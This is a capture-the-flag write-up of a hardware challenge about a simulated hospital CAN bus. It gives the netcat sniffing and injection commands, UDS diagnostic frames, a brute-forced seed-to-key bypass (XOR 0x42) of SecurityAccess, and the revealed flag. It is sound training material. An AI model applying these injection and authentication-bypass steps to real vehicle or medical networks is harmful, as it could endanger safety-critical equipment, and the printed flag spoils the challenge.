Writeup: CAN Bus Implant - EspilonCTF (Hardware)
Challenge Description
The CAN bus of the Clinique Sainte-Mika connects medical equipment. You have access to a sniffing interface and an injection point.
- Sniff (read-only):
tcp://espilon.net:38795 - Inject (write):
tcp://espilon.net:38796
Goal: Analyze the traffic, identify diagnostic patterns, and extract sensitive data.
Step 1: Sniffing CAN Traffic
Connected to the sniffing port to observe CAN bus traffic:
nc espilon.net 38795
Identified the following CAN arbitration IDs:
| ID | DLC | Description |
|---|---|---|
0x100 | 4 | Counter/timestamp (incrementing by 5) |
0x200–0x203 | 4 | Medical sensor data (vital signs) |
0x7DF | 8 | OBD-II broadcast request (every ~5s) |
0x7E0 | 8 | UDS diagnostic request (every ~10s) |
0x7E8 | 8 | UDS diagnostic response |
The periodic UDS traffic was reading the VIN via ReadDataByIdentifier (service 0x22, DID 0xF190):
[0x7E0] 03 22 F1 90 00 00 00 00 -> Request VIN
[0x7E8] 07 62 F1 90 57 4D 32 30 -> Response: "WM20..." (truncated single frame)
Step 2: Exploring the Inject Interface
Connected to the injection port and discovered the usage:
> help
[CAN] Inject Commands:
send <id> <bytes> Send a CAN frame
Example UDS commands:
send 7E0 02 10 03 00 00 00 00 00 DiagSessionControl(extended)
send 7E0 02 27 01 00 00 00 00 00 SecurityAccess requestSeed
send 7E0 06 27 02 KK KK KK KK 00 SecurityAccess sendKey
send 7E0 03 22 FF 01 00 00 00 00 ReadDataByIdentifier(0xFF01)
The help message hinted that DID 0xFF01 was the target.
Step 3: Reading the Full VIN (ISO-TP Multi-Frame)
Injected a manual VIN read request and received a multi-frame ISO-TP response:
TX: [0x7E0] 03 22 F1 90 00 00 00 00
RX: [0x7E8] 10 17 15 62 F1 90 57 4D (First Frame)
RX: [0x7E8] 21 32 30 32 34 53 41 49 (Consecutive Frame 1)
RX: [0x7E8] 22 4E 54 4D 49 4B 41 30 (Consecutive Frame 2)
RX: [0x7E8] 23 30 34 32 00 00 00 00 (Consecutive Frame 3)
VIN: WM2024SAINTMIKA0042
Step 4: Attempting to Read DID 0xFF01
> send 7E0 03 22 FF 01 00 00 00 00
RX: [0x7E8] 03 7F 22 33 00 00 00 00
NRC 0x33 = securityAccessDenied — this DID requires an authenticated UDS session.
Step 5: Entering Extended Diagnostic Session
> send 7E0 02 10 03 00 00 00 00 00
RX: [0x7E8] 02 50 03 00 00 00 00 00 -> Positive response
DID 0xFF01 still returned NRC 0x33 — SecurityAccess (service 0x27) was required.
Step 6: SecurityAccess — Requesting the Seed
> send 7E0 02 27 01 00 00 00 00 00
RX: [0x7E8] 06 67 01 CC 49 88 94 00 -> Seed: CC 49 88 94
The ECU returned a 4-byte random seed. The challenge was to derive the correct key.
Step 7: Cracking the Seed-to-Key Algorithm
Tried numerous key derivation algorithms:
- XOR with known constants (VIN fragments, common automotive values)
- Bitwise NOT, rotations, byte swaps
- Hash-based (MD5, SHA256, HMAC)
- Polynomial arithmetic, CRC32, LFSR
After systematic brute-forcing all 256 possible single-byte XOR constants:
Algorithm: key[i] = seed[i] XOR 0x42
Seed: CC 49 88 94
Key: 8E 0B CA D6 (each byte XOR 0x42)
> send 7E0 06 27 02 8E 0B CA D6 00
RX: [0x7E8] 02 67 02 00 00 00 00 00 -> Positive response! Unlocked.
Step 8: Reading the Flag
With security unlocked, read DID 0xFF01:
> send 7E0 03 22 FF 01 00 00 00 00
RX: [0x7E8] 10 23 21 62 FF 01 45 53 (First Frame)
RX: [0x7E8] 21 50 49 4C 4F 4E 7B 63 "PILON{c"
RX: [0x7E8] 22 34 6E 5F 62 75 73 5F "4n_bus_"
RX: [0x7E8] 23 31 6D 70 6C 34 6E 74 "1mpl4nt"
RX: [0x7E8] 24 5F 34 63 74 31 76 33 "_4ct1v3"
RX: [0x7E8] 25 7D 00 00 00 00 00 00 "}"
Flag
ESPILON{c4n_bus_1mpl4nt_4ct1v3}
Key Concepts
- CAN Bus: Controller Area Network protocol used in automotive and medical equipment
- UDS (ISO 14229): Unified Diagnostic Services — standard protocol for ECU diagnostics
- ISO-TP (ISO 15765-2): Transport protocol for multi-frame CAN messages
- SecurityAccess (Service 0x27): Challenge-response authentication requiring seed-to-key computation
- ReadDataByIdentifier (Service 0x22): Read data from ECU by DID number
- DiagnosticSessionControl (Service 0x10): Switch between default, programming, and extended sessions